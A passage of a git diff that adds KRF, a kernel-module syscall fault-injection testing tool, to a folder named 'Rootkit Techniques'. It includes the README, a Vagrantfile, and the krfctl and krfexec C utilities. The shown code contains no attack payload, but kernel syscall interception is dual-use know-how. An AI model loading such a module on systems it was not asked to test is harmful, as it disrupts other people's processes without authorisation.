-j$(nproc) +sudo make install # Installs module to /lib/modules and utils to /usr/local/bin +sudo make insmod # Loads module +``` + +or, if you're using Vagrant: + +```bash +git clone https://github.com/trailofbits/krf && cd krf +vagrant up linux && vagrant ssh linux +# inside the VM +cd /vagrant +make -j$(nproc) +sudo make install # Installs module to /lib/modules and utils to /usr/local/bin +sudo make insmod # Loads module +``` + +or, for FreeBSD: + +```bash +git clone https://github.com/trailofbits/krf && cd krf +cd vagrant up freebsd && vagrant ssh freebsd +# inside the VM +cd /vagrant +gmake # NOT make! +gmake install-module # Installs module to /boot/modules/ +sudo gmake install-utils # Installs utils to /usr/local/bin +gmake insmod # Loads module +``` + +## Usage + +KRF has three components: + +* A kernel module (`krfx`) +* An execution utility (`krfexec`) +* A control utility (`krfctl`) +* A kernel module logger (`krfmesg`) + +To load the kernel module, run `make insmod`. To unload it, run `make rmmod`. + +For first time use it might be useful to launch `sudo krfmesg` on a separate terminal to see messages logged from `krfx`. + +KRF begins in a neutral state: no syscalls will be intercepted or faulted until the user +specifies some behavior via `krfctl`: + +```bash +# no induced faults, even with KRF loaded +ls + +# tell krf to fault read(2) and write(2) calls +# note that krfctl requires root privileges +sudo krfctl -F 'read,write' + +# tell krf to fault any program started by +# krfexec, meaning a personality of 28 +sudo krfctl -T personality=28 + +# may fault! +krfexec ls + +# tell krf to fault with a 1/100 (or 1%) probability +# note that this value is represented as a reciprocal +# so e.g. 1 means all faultable syscalls will fault +# and 500 means that on average every 500 syscalls will fault (1/500 or 0.2%) +sudo krfctl -p 100 + +# tell krf to fault `io` profile (and so i/o related syscalls) +sudo krfctl -P io + +# krfexec will pass options correctly as well +krfexec echo -n 'no newline' + +# clear the fault specification +sudo krfctl -c + +# clear the targeting specification +sudo krfctl -C + +# no induced faults, since no syscalls are being faulted +krfexec firefox +``` + +## Configuration + +**NOTE**: Most users should use `krfctl` instead of manipulating these files by hand. +In FreeBSD, these same values are accessible through `sysctl krf.whatever` instead of procfs. + +### `/proc/krf/rng_state` + +This file allows a user to read and modify the internal state of KRF's PRNG. + +For example, each of the following will correctly update the state: + +```bash +echo "1234" | sudo tee /proc/krf/rng_state +echo "0777" | sudo tee /proc/krf/rng_state +echo "0xFF" | sudo tee /proc/krf/rng_state +``` + +The state is a 32-bit unsigned integer; attempting to change it beyond that will fail. + +### `/proc/krf/targeting` + +This file allows a user set the values used by KRF for syscall +targeting. + +**NOTE**: KRF uses a default personality not currently used by the Linux kernel by default. If you change +this, you should be careful to avoid making it something that Linux cares about. `man 2 personality` +has the details. + +```bash +echo "0 28" | sudo tee /proc/krf/targeting +``` + +A personality of 28 is hardcoded into `krfexec`, and must be set in order for things executed +by `krfexec` to be faulted. + +### `/proc/krf/probability` + +This file allows a user to read and write the probability of inducing fault for a given +(faultable) syscall. + +The probability is represented as a reciprocal, e.g. `1000` means that, on average, `0.1%` of +faultable syscalls will be faulted. + +```bash +echo "100000" | sudo tee /proc/krf/probability +``` + +### `/proc/krf/control` + +This file controls the syscalls that KRF faults. + +**NOTE**: Most users should use `krfctl` instead of interacting with this file directly — +the former will perform syscall name-to-number translation automatically and will provide clearer +error messages when things go wrong. + +```bash +# replace the syscall in slot 0 (usually SYS_read) with its faulty wrapper +echo "0" | sudo tee /proc/krf/control +``` + +Passing any number greater than `KRF_NR_SYSCALLS` will cause KRF to flush the entire syscall table, +returning it to the neutral state. Since `KRF_NR_SYSCALLS` isn't necessarily predictable for +arbitrary versions of the Linux kernel, choosing a large number (like 65535) is fine. + +Passing a valid syscall number that lacks a fault injection wrapper will cause the `write(2)` +to the file to fail with `EOPNOTSUPP`. + +### `/proc/krf/log_faults` + +This file controls whether or not KRF emits kernel logs on faulty syscalls. By default, no +logging messages are emitted. + +**NOTE**: Most users should use `krfctl` instead of interacting with this file directly. + +```bash +# enable fault logging +echo "1" | sudo tee /proc/krf/log_faults +# disable fault logging +echo "0" | sudo tee /proc/krf/log_faults +# read the logging state +cat /proc/krf/log_faults +``` + +## TODO + +* Allow users to specify a particular class of faults, e.g. memory pressure (`ENOMEM`). + * This should be do-able by adding some more bits to the `personality(2)` value. + +## Thanks + +Many thanks go to [Andrew Reiter](https://github.com/roachspray) for the +[initial port](https://github.com/roachspray/fkrf) of KRF to FreeBSD. Andrew's work was performed +on behalf of the Applied Research Group at Veracode. + +## Licensing + +KRF is licensed under the terms of the GNU GPLv3. + +See the [LICENSE](./LICENSE) file for the exact terms. diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile new file mode 100644 index 0000000..d9f557d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile @@ -0,0 +1,39 @@ +# frozen_string_literal: true + +Vagrant.configure("2") do |config| + config.vm.provider :virtualbox do |vb| + vb.memory = ENV["KRF_VAGRANT_RAM"] || 2048 + vb.cpus = ENV["KRF_VAGRANT_CPUS"] || 2 + end + + config.vm.define "linux" do |linux| + linux.vm.box = "ubuntu/bionic64" + linux.vm.provision :shell, inline: <<~PROVISION + sudo apt update + sudo DEBIAN_FRONTEND=noninteractive apt upgrade -y + sudo DEBIAN_FRONTEND=noninteractive apt install -y libelf-dev build-essential ruby linux-headers-$(uname -r) + sudo apt autoremove apport apport-systems + echo "/tmp/core_%e.krf.%p" | sudo tee /proc/sys/kernel/core_pattern + PROVISION + + linux.vm.provider :virtualbox do |vb| + vb.customize ["modifyvm", :id, "--uartmode1", "disconnected"] + end + end + + config.vm.define "freebsd" do |freebsd| + freebsd.ssh.shell = "sh" + + freebsd.vm.synced_folder ".", "/vagrant", type: :rsync + freebsd.vm.box = "freebsd/FreeBSD-12.0-RELEASE" + freebsd.vm.provision :shell, inline: <<~PROVISION + su -m root -c 'pkg install -y gmake ruby' + su -m root -c 'svnlite co svn://svn.freebsd.org/base/releng/12.0 /usr/src' + PROVISION + + freebsd.vm.provider :virtualbox do |vb| + vb.customize ["modifyvm", :id, "--nictype1", "virtio"] + vb.customize ["modifyvm", :id, "--nictype2", "virtio"] + end + end +end diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h new file mode 100644 index 0000000..e348e9d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h @@ -0,0 +1,27 @@ +#pragma once +/* Common defines and types needed across the krf utils and module */ + +/* Strings used to generate procfs filenames and sysctl strings */ +#define KRF_PROC_DIR "krf" +#define KRF_RNG_STATE_FILENAME "rng_state" +#define KRF_PROBABILITY_FILENAME "probability" +#define KRF_CONTROL_FILENAME "control" +#define KRF_LOG_FAULTS_FILENAME "log_faults" +#define KRF_TARGETING_FILENAME "targeting" + +/* Targeting modes */ +typedef enum { + KRF_T_MODE_PERSONALITY = 0, + KRF_T_MODE_PID, + KRF_T_MODE_UID, + KRF_T_MODE_GID, + KRF_T_MODE_INODE, + // Insert new modes here + KRF_T_NUM_MODES +} krf_target_mode_t; + +/* Netlink Defines */ +/* Protocol family, consistent in both kernel prog and user prog. */ +#define NETLINK_KRF 28 +/* Multicast group, consistent in both kernel prog and user prog. */ +#define NETLINK_MYGROUP 28 diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile new file mode 100644 index 0000000..b15c690 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile @@ -0,0 +1,22 @@ +PROG := krfctl +SRCS := $(PROG).c table.gen.c profiles.gen.c $(wildcard ./$(PLATFORM)/*.c) +OBJS := $(SRCS:.c=.o) +YMLS = $(wildcard ../module/codegen/$(PLATFORM)/*.yml) + +.PHONY: all +all: $(PROG) + +table.gen.c: gentable + ruby gentable + +profiles.gen.c: genprofiles $(YMLS) + ruby genprofiles + +$(OBJS): $(SRCS) + +$(PROG): $(OBJS) + +.PHONY: clean +clean: + rm -f $(PROG) $(OBJS) + rm -f *.gen.c # gentable/genprofiles files diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c new file mode 100644 index 0000000..f3373eb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c @@ -0,0 +1,106 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../krfctl.h" +#include "../../common/common.h" + +/* control will interpret any number larger than its syscall table + * as a command to clear all current masks. + * it's a good bet that FreeBSD will never have 65535 syscalls. + */ +#define CLEAR_MAGIC 65535 + +#define CONTROL_NAME KRF_PROC_DIR "." KRF_CONTROL_FILENAME +#define RNG_STATE_NAME KRF_PROC_DIR "." KRF_RNG_STATE_FILENAME +#define PROBABILITY_NAME KRF_PROC_DIR "." KRF_PROBABILITY_FILENAME +#define LOG_FAULTS_NAME KRF_PROC_DIR "." KRF_LOG_FAULTS_FILENAME +#define TARGETING_NAME KRF_PROC_DIR "." KRF_TARGETING_FILENAME + +int fault_syscall(const char *sys_name) { + const char *sys_num; + unsigned int syscall; + + if (!(sys_num = lookup_syscall_number(sys_name))) { + warnx("WARNING: couldn't find syscall %s", sys_name); + return 1; + } + + if (sscanf(sys_num, "%u", &syscall) != 1) { + err(errno, "weird syscall number"); + } + + if (sysctlbyname(CONTROL_NAME, NULL, NULL, &syscall, sizeof(syscall)) < 0) { + if (errno == EOPNOTSUPP) { + errx(errno, "faulting for %s unimplemented", sys_name); + } else { + err(errno, "sysctl " CONTROL_NAME); + } + } + return 0; +} + +void clear_faulty_calls(void) { + unsigned int clr = CLEAR_MAGIC; + if (sysctlbyname(CONTROL_NAME, NULL, NULL, &clr, sizeof(clr)) < 0) { + err(errno, "write " CONTROL_NAME); + } +} + +void set_rng_state(const char *state) { + unsigned int rng_state; + + if (sscanf(state, "%u", &rng_state) != 1) { + err(1, "Weird rng_state"); + } + + if (sysctlbyname(RNG_STATE_NAME, NULL, NULL, &rng_state, sizeof(rng_state)) < 0) { + err(errno, "write " RNG_STATE_NAME); + } +} + +void set_prob_state(const char *state) { + unsigned int prob_state; + + if (sscanf(state, "%u", &prob_state) != 1) { + err(1, "Weird prob_state"); + } + + if (sysctlbyname(PROBABILITY_NAME, NULL, NULL, &prob_state, sizeof(prob_state)) < 0) { + err(errno, "write " PROBABILITY_NAME); + } +} + +void toggle_fault_logging(void) { + unsigned int state; + size_t amt_read = sizeof(state); + if (sysctlbyname(LOG_FAULTS_NAME, &state, &amt_read, NULL, 0) < 0) { + err(errno, "read " LOG_FAULTS_NAME); + } + + state = !state; + + if (sysctlbyname(LOG_FAULTS_NAME, NULL, NULL, &state, sizeof(state)) < 0) { + err(errno, "write " LOG_FAULTS_NAME); + } +} + +void set_targeting(unsigned int mode, const char *data) { + char buf[32] = {0}; + if (snprintf(buf, sizeof(buf), "%u %s", mode, data) < 0) { + err(errno, "snprintf"); + } + + if (sysctlbyname(TARGETING_NAME, NULL, NULL, &buf, strlen(buf)) < 0) { + errx(errno, "write " TARGETING_NAME " - %s", buf); + } +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles new file mode 100644 index 0000000..eca67a8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles @@ -0,0 +1,67 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# genprofiles: generate a lookup table of profiles names -> syscall lists + +require "yaml" + +# PLATFORM = ARGV.shift || `uname -s`.chomp!.downcase! +PLATFORM = "linux" + +abort "Barf: Unknown platform: #{PLATFORM}" unless %w[linux freebsd].include? PLATFORM + +PROFILE_DESC_FILE = File.expand_path "./profiles.yml", __dir__ +SYSCALL_SPECS_DIR = File.expand_path File.join("../module/codegen/", PLATFORM), __dir__ +SYSCALL_SPECS = Dir[File.join(SYSCALL_SPECS_DIR, "*.yml")] + +SYSCALLS = SYSCALL_SPECS.map do |path| + spec = YAML.safe_load File.read(path) + [File.basename(path, ".yml"), spec] +end.to_h + +PROFILE_DESCS = YAML.safe_load File.read(PROFILE_DESC_FILE) +PROFILE_DESCS.default = Hash.new "" + +PROFILES = Hash.new { |h, k| h[k] = [] } + +SYSCALLS.each do |call, spec| + # __NR_ constant always takes precedence, since + # we extract our lookup table from those constants in gentable. + sys_name = spec["nr"] || call + spec["profiles"]&.each do |profile| + PROFILES[profile] << sys_name + end + PROFILES["all"] << sys_name +end + +OUTPUT_NAME = File.expand_path "profiles.gen.c", __dir__ + +def hai(msg) + STDERR.puts "[genprofiles] #{msg}" +end + +hai "building lookup table with #{PROFILES.size} entries" + +File.open(OUTPUT_NAME, "w") do |file| + file.puts <<~PREAMBLE + /* WARNING! + * This file was generated by KRF's genprofiles. + * Do not edit it by hand. + */ + + #include + + #include "krfctl.h" + PREAMBLE + + file.puts "fault_profile_t fault_profile_table[] = {" + + PROFILES.each do |name, syscalls| + desc = PROFILE_DESCS[name] + sys_struct = syscalls.map { |s| "\"#{s}\"" }.join ", " + file.puts %({ "#{name}", "#{desc}", { #{sys_struct}, NULL } },) + end + + file.puts "{ NULL, NULL, { NULL } }," + file.puts "};" +end diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable new file mode 100644 index 0000000..74535af --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable @@ -0,0 +1,71 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# gentable: generate a lookup table of syscall names -> numbers + +require "open3" + +PLATFORM = ARGV.shift || `uname -s`.chomp!.downcase! + +abort "Barf: Unknown platform: #{PLATFORM}" unless %w[linux freebsd].include? PLATFORM + +SYSCALL_H_CANDIDATES = %w[ + /usr/include/sys/syscall.h + /usr/include/x86_64-linux-gnu/sys/syscall.h +].freeze + +SYSCALL_H = SYSCALL_H_CANDIDATES.find { |f| File.exist? f } + +OUTPUT_NAME = File.expand_path "table.gen.c", __dir__ + +def hai(msg) + STDERR.puts "[gentable] #{msg}" +end + +abort "Barf: no sys/syscall.h" unless SYSCALL_H + +processed, status = Open3.capture2("cc -dD -E -", stdin_data: File.read(SYSCALL_H)) + +abort "Barf: Preprocess failed" unless status.success? + +table = if PLATFORM == "linux" + lines = processed.lines.select { |l| l.match?(/^#define __NR_/) }.map(&:chomp) + lines.map do |line| + const, number = line.split[1..2] + + [const[5..-1], number] + end.to_h + elsif PLATFORM == "freebsd" + lines = processed.lines.select { |l| l.match?(/^#define SYS_/) }.map(&:chomp) + lines.map do |line| + const, number = line.split[1..2] + + [const[4..-1], number] + end.to_h + end + +hai "building lookup table with #{table.size} entries" + +File.open(OUTPUT_NAME, "w") do |file| + file.puts <<~PREAMBLE + /* WARNING! + * This file was generated by KRF's gentable. + * Do not edit it by hand. + */ + + #include + + #include "krfctl.h" + PREAMBLE + + file.puts "syscall_lookup_t syscall_lookup_table[] = {" + + table.each do |name, number| + next if PLATFORM == "freebsd" && name == "MAXSYSCALL" + + file.puts %({ "#{name}", "#{number}" },) + end + + file.puts "{ NULL, 0 }," + file.puts "};" +end diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c new file mode 100644 index 0000000..22f32b1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c @@ -0,0 +1,148 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "krfctl.h" +#include "../common/common.h" + +const char *lookup_syscall_number(const char *sys_name) { + for (syscall_lookup_t *elem = syscall_lookup_table; elem->sys_name != NULL; elem++) { + if (!strcmp(sys_name, elem->sys_name)) { + return elem->sys_num; + } + } + + return NULL; +} + +static const char **lookup_syscall_profile(const char *profile) { + for (fault_profile_t *elem = fault_profile_table; elem->profile != NULL; elem++) { + if (!strcmp(profile, elem->profile)) { + return elem->syscalls; + } + } + + return NULL; +} + +static void fault_syscall_spec(const char *s) { + const char *sys_name = NULL; + + char *spec = strdup(s); + + sys_name = strtok(spec, ", "); + while (sys_name) { + fault_syscall(sys_name); + sys_name = strtok(NULL, ", "); + } + + free(spec); +} + +static void fault_syscall_profile(const char *profile) { + const char **syscalls = lookup_syscall_profile(profile); + + if (syscalls == NULL) { + errx(1, "couldn't find fault profile: %s", profile); + } + + int i; + for (i = 0; syscalls[i]; i++) { + fault_syscall(syscalls[i]); + } +} + +char *const targeting_opts[] = {[KRF_T_MODE_PERSONALITY] = "personality", + [KRF_T_MODE_PID] = "PID", + [KRF_T_MODE_UID] = "UID", + [KRF_T_MODE_GID] = "GID", + [KRF_T_MODE_INODE] = "INODE", + [KRF_T_NUM_MODES] = NULL}; + +int main(int argc, char *argv[]) { + char *subopts, *value; + int c; + while ((c = getopt(argc, argv, "F:P:cr:p:LT:Ch")) != -1) { + switch (c) { + case 'F': { + fault_syscall_spec(optarg); + break; + } + case 'P': { + fault_syscall_profile(optarg); + break; + } + case 'c': { + clear_faulty_calls(); + break; + } + case 'r': { + set_rng_state(optarg); + break; + } + case 'p': { + set_prob_state(optarg); + break; + } + case 'L': { + toggle_fault_logging(); + break; + } + case 'T': { + subopts = optarg; + int ca; + while (*subopts != '\0') { + ca = getsubopt(&subopts, targeting_opts, &value); + if (value == NULL) { + printf("error: there must be a value input for the targeting option\n"); + return 2; + } + if (ca >= KRF_T_NUM_MODES) { + printf("error: unknown targeting option %s\n", value); + return 3; + } + set_targeting(ca, value); + } + break; + } + case 'C': { + set_targeting(0, "0"); + break; + } + case 'h': + default: { + printf("usage: krfctl \n" + "options:\n" + " -h display this help message\n" + " -F [syscall...] fault the given syscalls\n" + " -P fault the given syscall profile\n" + " -c clear the syscall table of faulty calls\n" + " -r set the RNG state\n" + " -p set the fault probability\n" + " -L toggle faulty call logging\n" + " -T = enable targeting option with value \n" + " -C clear the targeting options\n" + "targeting options:\n" + " personality, PID, UID, GID, and INODE\n" + "available profiles (for -P flag):\n" + " "); + fault_profile_t *elem = fault_profile_table; + while (elem->profile != NULL) { + printf("\t%s\t%s\n", elem->profile, elem->description); + elem++; + } + return 1; + } + } + } + + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h new file mode 100644 index 0000000..0c03ec3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h @@ -0,0 +1,28 @@ +#pragma once + +typedef struct syscall_lookup_t { + const char *sys_name; + /* no point in storing it as an int if we're just going to convert it */ + const char *sys_num; +} syscall_lookup_t; + +typedef struct fault_profile_t { + const char *profile; + const char *description; + /* GCC doesn't like flexible array initialization within + * structures, so just give ourselves enough room for + * sensibly sized profiles. + */ + const char *syscalls[256]; +} fault_profile_t; + +extern syscall_lookup_t syscall_lookup_table[]; +extern fault_profile_t fault_profile_table[]; + +const char *lookup_syscall_number(const char *sys_name); +int fault_syscall(const char *sys_name); +void clear_faulty_calls(void); +void set_rng_state(const char *state); +void set_prob_state(const char *state); +void toggle_fault_logging(void); +void set_targeting(unsigned int mode, const char *data); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c new file mode 100644 index 0000000..dc6dcdb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c @@ -0,0 +1,150 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../krfctl.h" +#include "../../common/common.h" + +/* control will interpret any number larger than its syscall table + * as a command to clear all current masks. + * it's a good bet that linux will never have 65535 syscalls. + */ +#define CLEAR_MAGIC "65535" + +#define CONTROL_FILE "/proc/" KRF_PROC_DIR "/" KRF_CONTROL_FILENAME +#define RNG_STATE_FILE "/proc/" KRF_PROC_DIR "/" KRF_RNG_STATE_FILENAME +#define PROBABILITY_FILE "/proc/" KRF_PROC_DIR "/" KRF_PROBABILITY_FILENAME +#define LOG_FAULTS_FILE "/proc/" KRF_PROC_DIR "/" KRF_LOG_FAULTS_FILENAME +#define TARGETING_FILE "/proc/" KRF_PROC_DIR "/" KRF_TARGETING_FILENAME + +int fault_syscall(const char *sys_name) { + int fd; + const char *sys_num; + + /* check for wait4 and select */ + if (!strcmp(sys_name, "wait4") || !strcmp(sys_name, "select")) + fprintf(stderr, + "Warning: faulting syscall %s can potentially cause kernel oops on module unload\n", + sys_name); + + /* TODO(ww): Opening the control file once per syscall is + * pretty nasty, but I don't like passing a fd around. + * Maybe a static variable that we test-and-set? + */ + if ((fd = open(CONTROL_FILE, O_WRONLY)) < 0) { + err(errno, "open " CONTROL_FILE); + } + + if (!(sys_num = lookup_syscall_number(sys_name))) { + warnx("WARNING: couldn't find syscall: %s", sys_name); + return 1; + } + + if (write(fd, sys_num, strlen(sys_num)) < 0) { + /* friendly error message on unsupported syscall */ + if (errno == EOPNOTSUPP) { + errx(errno, "faulting for %s unimplemented", sys_name); + } else { + err(errno, "write " CONTROL_FILE); + } + } + + close(fd); + return 0; +} + +void clear_faulty_calls(void) { + int fd; + + if ((fd = open(CONTROL_FILE, O_WRONLY)) < 0) { + err(errno, "open " CONTROL_FILE); + } + + if (write(fd, CLEAR_MAGIC, strlen(CLEAR_MAGIC)) < 0) { + err(errno, "write " CONTROL_FILE); + } + + close(fd); +} + +void set_rng_state(const char *state) { + int fd; + + if ((fd = open(RNG_STATE_FILE, O_WRONLY)) < 0) { + err(errno, "open " RNG_STATE_FILE); + } + + if (write(fd, state, strlen(state)) < 0) { + err(errno, "write " CONTROL_FILE); + } + + close(fd); +} + +void set_prob_state(const char *state) { + int fd; + + if ((fd = open(PROBABILITY_FILE, O_WRONLY)) < 0) { + err(errno, "open " PROBABILITY_FILE); + } + + if (write(fd, state, strlen(state)) < 0) { + err(errno, "write " CONTROL_FILE); + } + + close(fd); +} + +void toggle_fault_logging(void) { + int fd; + char buf[32] = {0}; + unsigned int state; + + if ((fd = open(LOG_FAULTS_FILE, O_RDWR)) < 0) { + err(errno, "open " LOG_FAULTS_FILE); + } + + if (read(fd, buf, sizeof(buf) - 1) < 0) { + err(errno, "read " LOG_FAULTS_FILE); + } + + if (sscanf(buf, "%u", &state) != 1) { + errx(1, "weird logging state: %s", buf); + } + + state = !state; + memset(buf, 0, sizeof(buf)); + snprintf(buf, sizeof(buf), "%u", state); + + if (write(fd, buf, strlen(buf)) < 0) { + err(errno, "write " LOG_FAULTS_FILE); + } + + close(fd); +} + +void set_targeting(unsigned int mode, const char *data) { + int fd; + char buf[32] = {0}; + if ((fd = open(TARGETING_FILE, O_WRONLY)) < 0) { + err(errno, "open " TARGETING_FILE); + } + + if (snprintf(buf, sizeof(buf), "%u %s", mode, data) < 0) { + err(errno, "snprintf"); + } + + if (write(fd, buf, strlen(buf)) < 0) { + err(errno, "write " TARGETING_FILE); + } + + close(fd); +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml new file mode 100644 index 0000000..a7620fc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml @@ -0,0 +1,10 @@ +all: "every syscall supported by KRF" +mm: "memory management syscalls" +fs: "filesystem interaction syscalls" +io: "general input/output syscalls" +proc: "process and task management syscalls" +time: "time and clock syscalls" +net: "socket and network syscalls" +ipc: "interprocess communication syscalls" +sys: "system configuration and state syscalls" +sched: "scheduling syscalls" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile new file mode 100644 index 0000000..4262d99 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile @@ -0,0 +1,11 @@ +PROG := krfexec +SRCS := $(PROG).c $(wildcard $(PLATFORM)/*.c) +OBJS := $(SRCS:.c=.o) + +all: $(PROG) + +$(PROG): $(OBJS) + +.PHONY: clean +clean: + rm -f $(PROG) $(OBJS) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c new file mode 100644 index 0000000..6ea6c35 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c @@ -0,0 +1,25 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../krfexec.h" +#include "../../common/common.h" + +void krfexec_prep(void) { + char buf[32] = {0}; + pid_t pid = getpid(); + if (snprintf(buf, 32, "1 %u", (unsigned int)pid) < 0) { + errx(1, "snprintf"); + } + + if (sysctlbyname(KRF_PROC_DIR "." KRF_TARGETING_FILENAME, NULL, NULL, &buf, strnlen(buf, 32)) < + 0) { + err(errno, "sysctl failed"); + } +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c new file mode 100644 index 0000000..b51f489 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "krfexec.h" + +int main(int argc, char *argv[]) { + if (argc < 2 || !strcmp(argv[1], "-h")) { + printf("usage: krfexec [args]\n"); + return 1; + } + + krfexec_prep(); + + struct rlimit core_limit; + core_limit.rlim_cur = core_limit.rlim_max = RLIM_INFINITY; + if (setrlimit(RLIMIT_CORE, &core_limit) < 0) { + err(errno, "setrlimit"); + } + + if (execvp(argv[1], argv + 1) < 0) { + err(errno, "exec %s", argv[1]); + } + + return 0; /* noreturn */ +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h new file mode 100644 index 0000000..9462185 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h @@ -0,0 +1,10 @@ +#pragma once + +#include +#include + +/* TODO(ww): Put this in a common include directory. + */ +#define KRF_PERSONALITY 28 + +void krfexec_prep(void); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c new file mode 100644 index 0000000..4809294 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c @@ -0,0 +1,51 @@ +#include +#include +#include +#include + +#include "../krfexec.h" +#include "../../common/common.h" + +#define TARGETING_FILE "/proc/" KRF_PROC_DIR "/" KRF_TARGETING_FILENAME + +void krfexec_prep(void) { + // Check if personality is being targeted + int fd; + char buf[64] = {0}; + int set = 0; + if ((fd = open(TARGETING_FILE, O_RDONLY)) < 0) { + err(errno, "open " TARGETING_FILE); + } + + if (read(fd, buf, sizeof(buf) - 1) < 0) { + err(errno, "read" TARGETING_FILE); + } + + unsigned mode, data; + while (sscanf(buf, "%u %u", &mode, &data) == 2) { + if (mode != KRF_T_MODE_PERSONALITY) + continue; + + if (data == KRF_PERSONALITY) { + set = 1; + break; + } else { + errx(1, "Personality set to a value that krfexec does not recognize. Use `krfctl -T " + "personality=28` to properly set."); + } + } + + if (!set) { + errx(1, "Personality targeting disabled. Run `krfctl -T personality=28` to enable."); + } + + close(fd); + + if (personality(KRF_PERSONALITY | ADDR_NO_RANDOMIZE) < 0) { + err(errno, "personality"); + } + + /* TODO(ww): Maybe disable the VDSO? + * Here's how we could do it on a per-process basis: https://stackoverflow.com/a/52402306 + */ +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile new file mode 100644 index 0000000..fb4fbfc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile @@ -0,0 +1,11 @@ +PROG := krfmesg +SRCS := $(PROG).c $(wildcard $(PLATFORM)/*.c) +OBJS := $(SRCS:.c=.o) + +all: $(PROG) + +$(PROG): $(OBJS) + +.PHONY: clean +clean: + rm -f $(PROG) $(OBJS) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c new file mode 100644 index 0000000..12a909d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c @@ -0,0 +1,7 @@ +#include +#include + +int platform_main(int argc, char *argv[]) { + errx(1, "krfmesg not implemented on FreeBSD, since no netlink sockets"); + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c new file mode 